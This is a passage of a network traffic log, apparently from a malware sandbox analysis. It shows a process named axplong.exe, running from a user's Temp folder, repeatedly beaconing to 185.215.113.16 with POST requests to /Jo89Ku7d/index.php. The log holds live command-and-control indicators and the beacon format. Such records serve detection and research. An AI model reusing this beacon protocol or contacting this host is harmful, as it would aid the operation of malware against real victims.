r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:40.377358913 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50034	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:40.492108107 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:41.384341955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:41.394081116 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:41.676105022 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50035	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:41.869066954 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:42.766427040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:42.770312071 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:43.053725958 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50039	34.107.221.82	80	1648	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:42.733119965 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 12, 2024 05:03:43.328762054 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 11 Nov 2024 13:58:33 GMT Age: 50710 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50040	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:43.211658001 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:44.102967024 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:44.103754997 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:44.383225918 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50041	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:44.492767096 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:45.399487972 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:45.400499105 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:45.683326960 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50042	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:45.802747965 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:46.704253912 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:46.705060959 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:46.986813068 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50043	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:47.099478006 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:47.994954109 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:47.995692015 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:48.275655031 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50044	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:48.396961927 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:49.315546036 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:49.317156076 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:49.604937077 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50045	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:49.724937916 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:50.652875900 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:50.653680086 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:50.941863060 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50046	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:51.054125071 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:51.981858015 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:51.986186981 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:52.274142981 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50047	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:52.409030914 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:53.327132940 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:53.327872038 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:53.618856907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50048	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:53.741012096 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:54.650564909 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:54.653637886 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Nov 12, 2024 05:03:54.937102079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50053	185.215.113.16	80	3920	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 05:03:55.055330992 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 05:03:55.970931053 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 04:03:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 12, 2024 05:03:55.971802950 CET	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
